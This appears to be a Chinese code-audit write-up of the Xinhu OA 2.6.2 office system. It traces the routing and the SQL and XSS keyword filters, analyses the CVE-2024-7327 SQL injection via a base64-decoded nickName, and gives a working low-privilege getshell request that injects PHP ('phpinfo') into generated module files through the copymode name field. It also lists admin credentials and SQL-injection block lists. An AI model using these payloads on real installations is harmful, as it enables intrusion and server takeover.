【代码审计】信呼OA V2.6.2 代码审计

https://www.freebuf.com/articles/web/286380.html

信呼OA 审计

admin qwer1234
信呼OA是一款自主MVC的办公系统,官网:http://www.rockoa.com/

入口分析

index.php 中 include_once('config/config.php'); 跟进到 config/config.php查看

@session_start(); 这行代码在 PHP 中用来启动一个新的会话或者继续当前会话。这里解释一下各个组成部分的含义和作用:

  1. session_start() 函数

    • 这个函数用来创建一个会话或者恢复基于会话标识符传递的当前已存在的会话。该函数使得 PHP 脚本能够使用 $_SESSION 超全局数组存储和访问会话数据。通过会话,服务器能够存储关于用户的状态信息(如用户身份验证状态、购物车内容等)。
    • 会话数据在服务器端保存,通常在服务器的临时目录下,而不是用户的计算机上,从而增加了数据的安全性。客户端浏览器会保存一个会话 ID 的 cookie,该 ID 用来在多个页面请求之间识别用户。
  2. @ 错误控制运算符

    • 在 PHP 中,@ 符号是一个错误控制运算符,用于抑制表达式可能产生的错误消息。当在表达式前加上 @ 时,任何由该表达式产生的错误都不会显示出来,这使得代码在遇到非致命错误时可以继续执行。
    • 使用这个运算符可以防止用户看到一些可能由会话启动问题(例如,当会话已经在另一个脚本中启动时)引起的警告信息。
  3. if(function_exists('date_default_timezone_set'))date_default_timezone_set('Asia/Shanghai');

    • 这里检查 date_default_timezone_set 函数是否存在(主要是为了向后兼容老版本的PHP)。如果存在,就将默认时区设置为'Asia/Shanghai'。确保了所有基于时间的函数都将使用这个时区。
  4. header('Content-Type:text/html;charset=utf-8');

    • 这行代码设置HTTP响应的Content-Type头为text/html,并指定字符集为UTF-8。这告诉浏览器返回的内容是HTML文本,并且使用UTF-8编码,有助于正确显示包括中文在内的各种字符。
  5. define('ROOT_PATH',str_replace('\\','/',dirname(dirname(__FILE__))));

    • 这行代码定义了一个常量ROOT_PATH,用于存储系统的根目录路径。它使用dirname(dirname(__FILE__))来找到当前文件的上级目录的上级目录(即根目录),并将所有的反斜杠(‘\‘)替换为正斜杠(‘/‘),以保证路径在不同操作系统下都是有效的。

之后分析包含的其中包含的文件rockFun.php, Chajian.php,其中都没什么内容,rockclass.php深入分析

Rockclass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function __construct()
{
$this->ip = $this->getclientip(); // 获取客户端 IP 地址
$this->host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '' ; // 获取和处理 HTTP 主机名
if($this->host && substr($this->host,-3)==':80')$this->host = str_replace(':80', '', $this->host); // 如果主机名以端口号 80 结束,则从主机名中移除端口号。
$this->url = ''; // 当前 URL
$this->isqywx = false; // 是否企业微信
$this->win = php_uname(); // 当前操作系统
$this->HTTPweb = isset($_SERVER['HTTP_USER_AGENT'])? $_SERVER['HTTP_USER_AGENT'] : '' ; // 获取客户端浏览器信息
$this->web = $this->getbrowser(); // 获取客户端浏览器信息
$this->unarr = explode(',','1,2'); // 允许上传文件类型
$this->now = $this->now(); // 当前时间
$this->date = date('Y-m-d'); // 当前日期
$this->lvlaras = explode(',','select ,
alter table,delete ,drop ,update ,insert into,load_file,/*,*/,union,<script,</script,sleep(,outfile,eval(,user(,phpinfo(),select*,union%20,sleep%20,select%20,delete%20,drop%20,and%20'); // SQL 注入关键字
$this->lvlaraa = explode(',','select,alter,delete,drop,update,/*,*/,insert,from,time_so_sec,convert,from_unixtime,unix_timestamp,curtime,time_format,union,concat,information_schema,group_concat,length,load_file,outfile,database,system_user,current_user,user(),found_rows,declare,master,exec,(),select*from,select*'); // SQL 注入关键字
$this->lvlarab = array();
foreach($this->lvlaraa as $_i)$this->lvlarab[]=''; // 创建一个与 $this->lvlaraa 数组相同大小的空数组,用于存储过滤后的 SQL 注入关键字。
}

XSS过滤

1
2
3
4
5
6
public function xssrepstr($str)
{
$xpd = explode(',','(,), , ,<,>,\\,*,&,%,$,^,[,],{,},!,@,#,",+,?,;\'');
$xpd[]= "\n";
return str_ireplace($xpd, '', $str);
}

获取客户端IP地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/*
* 获取IP
*/
public function getclientip()
{
$ip = '';
if(isset($_SERVER['HTTP_CLIENT_IP'])){
$ip = $_SERVER['HTTP_CLIENT_IP'];
}else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else if(isset($_SERVER['REMOTE_ADDR'])){
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip= htmlspecialchars($this->xssrepstr($ip));
if($ip){$ipar = explode('.', $ip);foreach($ipar as $ip1)if(!is_numeric($ip1))$ip='';}
if(!$ip)$ip = 'unknow';
return $ip;
}

iconvsql 方法

1
2
3
4
5
6
7
public function iconvsql($str,$lx=0)
{
$str = str_ireplace($this->lvlaraa,$this->lvlarab,$str);
$str = str_replace("\n",'', $str);
if($lx==1) $str = str_replace(array(' ',' ',' '),array('','',''),$str);
return $str;
}

功能与作用:

  • 这个方法用于处理和清理 SQL 语句,以防止 SQL 注入攻击。
  • str_ireplace($this->lvlaraa, $this->lvlarab, $str) 替换掉字符串 $str 中所有在 $this->lvlaraa 数组中定义的SQL关键词为 $this->lvlarab 数组中相应的空字符串,这种方法用于尝试清除可能导致SQL注入的语句。
  • str_replace("\n", '', $str) 移除字符串中的所有换行符。
  • 如果参数 $lx 等于 1,则进一步移除字符串中的所有空格和制表符。这可能用于进一步减少 SQL 语句中不必要的空白,以减小其在数据库查询中的潜在危险。

unstr 方法

1
2
3
4
5
6
7
8
9
10
11
private function unstr($str)
{
$ystr = '';
for($i=0; $i<count($this->unarr); $i++){
if($this->contain($str, $this->unarr[$i])){
$ystr = $this->unarr[$i];
break;
}
}
return $ystr;
}

功能与作用:

  • 这个私有方法用于检查字符串 $str 是否包含在类变量 $this->unarr 定义的特定值中。
  • 通过遍历 $this->unarr 数组,并使用 contain 方法检查 $str 是否包含数组中的任何一个元素。如果是,就将该元素赋值给 $ystr 并终止循环。
  • 返回的 $ystr 会是 $str 中第一个在 $this->unarr 数组中找到匹配的字符串,如果没有找到,则返回空字符串。

回到index

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
include_once('config/config.php');
$_uurl = $rock->get('rewriteurl');
$d = '';
$m = 'index';
$a = 'default';
if($_uurl != ''){
unset($_GET['m']);unset($_GET['d']);unset($_GET['a']);
$m = $_uurl;
$_uurla = explode('_', $_uurl);
if(isset($_uurla[1])){$d = $_uurla[0];$m = $_uurla[1];}
if(isset($_uurla[2])){$d = $_uurla[0];$m = $_uurla[1];$a = $_uurla[2];}
$_uurla = explode('?',$_SERVER['REQUEST_URI']);
if(isset($_uurla[1])){
$_uurla = explode('&', $_uurla[1]);foreach($_uurla as $_uurlas){
$_uurlasa = explode('=', $_uurlas);
if(isset($_uurlasa[1]))$_GET[$_uurlasa[0]]=$_uurlasa[1];
}
}
}else{
$m = $rock->jm->gettoken('m', 'index');
$d = $rock->jm->gettoken('d');
$a = $rock->jm->gettoken('a', 'default');
}
$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$mode = $rock->get('m', $m);
if(!$config['install'] && $mode != 'install')$rock->location('?m=install');
include_once('include/View.php');

这段代码主要涉及动态 URL 处理和页面导航逻辑的处理,包括模块(m)、动作(a)和数据(d)的参数提取。这样的逻辑通常出现在 MVC 框架或类似的动态 Web 应用中,用于决定哪个控制器和方法应该被调用

结合访问请求,可以看到这些参数对应着MVC框架中的内容
最后一行include_once('include/View.php');
转而看下view.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);
$p = PROJECT;
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);

define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);

$_m = $m;
if($rock->contain($m, '|')){
$_mas = explode('|', $m);
$m = $_mas[0];
$_m = $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
$rand = date('YmdHis').rand(1000,9999);
if(substr($d,-1)!='/' && $d!='')$d.='/';
$errormsg = '';
$methodbool = true;
$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);
define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);
$actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);
$actbstr = null;
if(file_exists($actfile1))include_once($actfile1);
if(file_exists($actfile)){
include_once($actfile);
$clsname = ''.$m.'ClassAction';
$xhrock = new $clsname();
$actname = ''.$a.'Action';
if($ajaxbool == 'true')$actname = ''.$a.'Ajax';
if(method_exists($xhrock, $actname)){
$xhrock->beforeAction();
$actbstr = $xhrock->$actname();
$xhrock->bodyMessage = $actbstr;
if(is_string($actbstr)){echo $actbstr;$xhrock->display=false;}
if(is_array($actbstr)){echo json_encode($actbstr);$xhrock->display=false;}
}else{
$methodbool = false;
if($ajaxbool == 'false')echo ''.$actname.' not found;';
}
$xhrock->afterAction();
}else{
echo 'actionfile not exists;';
$xhrock = new Action();
}

$_showbool = false;
if($xhrock->display && ($ajaxbool == 'html' || $ajaxbool == 'false')){
$xhrock->smartydata['p'] = $p;
$xhrock->smartydata['a'] = $a;
$xhrock->smartydata['m'] = $m;
$xhrock->smartydata['d'] = $d;
$xhrock->smartydata['rand'] = $rand;
$xhrock->smartydata['qom'] = QOM;
$xhrock->smartydata['path'] = PATH;
$xhrock->smartydata['sysurl']= SYSURL;
$temppath = ''.ROOT_PATH.'/'.$p.'/';
$tplpaths = ''.$temppath.''.$d.''.$m.'/';
$tplname = 'tpl_'.$m.'';
if($a!='default')$tplname .= '_'.$a.'';
$tplname .= '.'.$xhrock->tpldom.'';
$mpathname = $tplpaths.$tplname;
if($xhrock->displayfile!='' && file_exists($xhrock->displayfile))$mpathname = $xhrock->displayfile;
if(!file_exists($mpathname) || !$methodbool){
if(!$methodbool){
$errormsg = 'in ('.$m.') not found Method('.$a.');';
}else{
$errormsg = ''.$tplname.' not exists;';
}
echo $errormsg;
}else{
$_showbool = true;
}
}
if($xhrock->display && ($ajaxbool == 'html' || $xhrock->tpltype=='html' || $ajaxbool == 'false') && $_showbool){
$xhrock->setHtmlData();
$da = $xhrock->smartydata;
foreach($xhrock->assigndata as $_k=>$_v)$$_k=$_v;
include_once($mpathname);
$_showbool = false;
}

用于动态加载和执行 Web 应用的行动 (action) 脚本,处理 AJAX 请求,并动态加载视图模板。代码涵盖了从初始化变量、确定执行哪个控制器的哪个动作,到加载相应的 PHP 文件,以及处理和输出响应。

ok了 明白架构模式了 也知道了具体是怎么拼接的了 对于下面的请求:
POST /index.php?a=check&m=login&d=&ajaxbool=true&rnd=469139
访问的是 loginClassAction 的 checkAction 方法,并且是异步请求。

随便找个功能点


修改密码的点,跟进去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function editpassAction()
{
if(getconfig('systype')=='demo')$this->showreturn('演示上不要修改');
$id = $this->adminid;
$oldpass = $this->post('passoldPost');
$pasword = $this->post('passwordPost');
$msg = '';
if($this->isempt($pasword))$msg ='新密码不能为空';
if($msg == ''){
$oldpassa = $this->db->getmou($this->T('admin'),"`pass`","`id`='$id'");
if($oldpassa != md5($oldpass))$msg ='旧密码不正确';
if($msg==''){
if($oldpassa == md5($pasword))$msg ='新旧密码不能相同';
}
}
if($msg == ''){
if(!$this->db->record($this->T('admin'), "`pass`='".md5($pasword)."',`editpass`=`editpass`+1", "`id`='$id'"))$msg = $this->db->error();
}
if($msg==''){
$this->showreturn('success');
}else{
$this->showreturn('',$msg, 201);
}
}

好像没啥能利用的,主要是输入直接被md5了
再多测测看

CVE-2024-7327

还得是公开cve
在信呼OA系统2.6.2版本的/webmain/task/openapi/openmodhetongAction.php文件中,存在一个前台SQL注入漏洞。当$nickName变量经过base64解码后被加入到uarr数组中,并最终传递给$db->record()方法进行SQL查询时,攻击者可以利用此漏洞进行SQL注入攻击。此外,还需要注意父类openapiAction.php中的init方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function dataAction()
{
$mobile = $this->get('mobile');
$xcytype = $this->get('xcytype');
$openid = $this->get('openid');
$nickName = $this->jm->base64decode($this->get('nickName'));
$htdata = array();
$db = m('wxxcyus');
$uarr['mobile'] = $mobile;
$uarr['xcytype'] = $xcytype;
$uarr['openid'] = $openid;
$uarr['nickName'] = $nickName;
$uarr['province'] = $this->get('province');
$uarr['city'] = $this->get('city');
$uarr['gender'] = $this->get('gender');
$uarr['dingyue'] = $this->get('dingyue');
$uarr['avatarUrl'] = $this->jm->base64decode($this->get('avatarUrl'));
$where = "`openid`='$openid'";
if($db->rows($where)==0){
$uarr['adddt'] = $this->now;
$where='';
}else{
$uarr['optdt'] = $this->now;
}
$db->record($uarr, $where);

跟进该方法 /include/Model.php

1
2
3
4
public function record($arr, $where='')
{
return $this->db->record($this->table, $arr, $where);
}

到了 /include/class/mysql.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function record($table,$array,$where='')
{
$addbool = true;
if(!$this->isempt($where))$addbool=false;
$cont = '';
if(is_array($array)){
foreach($array as $key=>$val){
$cont.=",`$key`=".$this->toaddval($val)."";
}
$cont = substr($cont,1);
}else{
$cont = $array;
}
$table = $this->gettables($table);
if($addbool){
$sql="insert into $table set $cont";
}else{
$where = $this->getwhere($where);
$sql="update $table set $cont where $where";
}
return $this->tranbegin($sql);
}

在这里带入SQL语句查询 导致注入 同时还要注意下父类openapiAction.php中的init方法 这里的Host需要属于127.0.0.1 或 192.168.x.x 的范围.

1
2
3
4
5
6
7
8
9
10
public function initAction()
{
$this->display= false;
$openkey = $this->post('openkey');
$this->openkey = getconfig('openkey');
if($this->keycheck && HOST != '127.0.0.1' && !contain(HOST,'192.168') && $this->openkey != ''){
if($openkey != md5($this->openkey))$this->showreturn('', 'openkey not access', 201);
}
$this->getpostdata();
}

信呼OA普通用户权限getshell

1
2
3
4
5
6
7
8
9
index.php?d=main&m=flow&a=copymode&ajaxbool=true
POST:
id=1&name=a{};phpinfo ();class a

生成的文件:/webmain/flow/input/mode_a%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aAction.php
/webmain/model/flow/2%7B%7D%3Bphpinfo%20%28%29%3Bclass%20aModel.php

其实是
![](xinhuoaaudit/image-3.png)

代码分析:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
/**
* 复制模块
*/
public function copymodeAjax()
{
$id = (int)$this->post('id','0');
$bhnu = strtolower(trim($this->post('name')));
if(isempt($bhnu))return '新模块编号不能为空';
if(is_numeric($bhnu))return '模块编号不能用数字';
if(strlen($bhnu)<4)return '编号至少要4位';
if(c('check')->isincn($bhnu))return '编号不能包含中文';

$dbs = m('mode');
if($dbs->rows("`num`='$bhnu'")>0)return '模块编号['.$bhnu.']已存在';
$mrs = $dbs->getone($id);
if(!$mrs)return '模块不存在';
$ars = $mrs;
$name = $mrs['name'].'复制';
$biaom = $bhnu;
$obha = $mrs['num'];
unset($ars['id']);
$ars['name'] = $name;
$ars['num'] = $bhnu;
$ars['table']= $biaom;
$tablea[] = $mrs['table'];
$tables = '';
if(!isempt($ars['tables'])){
$staba = explode(',', $ars['tables']);
foreach($staba as $kz=>$zb1){
$tables.=','.$biaom.'zb'.($kz+1).'';
if(!in_array($zb1, $tablea))$tablea[]=$zb1;
}
$tables = substr($tables, 1);
}
$ars['tables'] = $tables;
$modeid = $dbs->insert($ars);

//复制表
foreach($tablea as $kz=>$tabs){
$sqla = $this->db->getall('show create table `[Q]'.$tabs.'`');
$createsql = $sqla[0]['Create Table'];
$biaom1 = ''.PREFIX.''.$biaom.'';
if($kz>0)$biaom1 = ''.PREFIX.''.$biaom.'zb'.$kz.'';
$createsql = str_replace('`'.PREFIX.''.$tabs.'`','`'.$biaom1.'`',$createsql);
$this->db->query($createsql);
$this->db->query('alter table `'.$biaom1.'` AUTO_INCREMENT=1');
}
//复制表单元素
$db1 = m('flow_element');
$rows = $db1->getall('mid='.$id.'');
foreach($rows as $k1=>$rs1){
$rs2 = $rs1;
unset($rs2['id']);
$rs2['mid'] = $modeid;
$db1->insert($rs2);
}
//复制相关布局文件
$hurs = $this->getfiles();

foreach($hurs as $k=>$file){
$from = str_replace('{bh}',$obha,$file);
$to = str_replace('{bh}',$bhnu,$file);
if(file_exists($from)){
if($k<=1){
$fstr = file_get_contents($from);
if($k==0)$fstr = str_replace('flow_'.$obha.'ClassModel','flow_'.$bhnu.'ClassModel',$fstr);
if($k==1)$fstr = str_replace('mode_'.$obha.'ClassAction','mode_'.$bhnu.'ClassAction',$fstr);
$this->rock->createtxt($to, $fstr);
}else{
@copy($from, $to);
}
}
}

echo 'ok';
}

漏洞代码主要出现在上面,可以看到$bhnu = strtolower(trim($this->post('name')));接收了外部输入,且在下面的copy中有使用到$to,这个变量是输入经过

1
2
$to   = str_replace('{bh}',$bhnu,$file);
$this->rock->createtxt($to, $fstr);

处理的,跟进createtxt函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/**
* 写入文件
*/
public function createtxt($path, $txt)
{
$this->createdir($path);
$path = ''.ROOT_PATH.'/'.$path.'';
@$file = fopen($path,'w');
$bo = false;
if($file){
$bo = true;
if($txt)$bo = fwrite($file,$txt);
fclose($file);
}
return $bo;
}

可以看到可以直接写入文件而没有过滤
写入的文件内容:mode_a{};phpinfo ();class aAction.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php
/**
* 此文件是流程模块【gong.通知公告】对应接口文件。
* 可在页面上创建更多方法如:public funciton testactAjax(),用js.getajaxurl('testact','mode_gong|input','flow')调用到对应方法
*/
class mode_a{};phpinfo ();class aClassAction extends inputAction{


protected function savebefore($table, $arr, $id, $addbo){
//$uarr['receid'] = $this->flow->getreceids($arr['receid']);
$uarr = array();
if(!isset($arr['issms']))$uarr['issms']=0;
return array(
'rows' => $uarr
);
}


protected function saveafter($table, $arr, $id, $addbo){

}

//提交投票
public function submittoupiaoAjax()
{
$mid = $this->get('mid');
$sid = $this->get('sid');
$modenum = $this->get('modenum');

$this->flow = m('flow')->initflow($modenum);

$towheer = "`table`='infor' and `mid`='$mid' and `name`='投票' and `checkid`='$this->adminid'";
if($this->flow->flogmodel->rows($towheer)>0)return '你已投票了';

$this->flow->addlog(array(
'name' => '投票',
'mid' => $mid,
'explain' => '投票项ID('.$sid.')'
));
m('infors')->update('`touci`=`touci`+1','`mid`='.$mid.' and `id` in('.$sid.')');

echo 'ok';
}
}

主要原因是在copymodeAjax 中 str_replace 把类名换了 然后 刚好payload可以闭合前面的内容,实现插入代码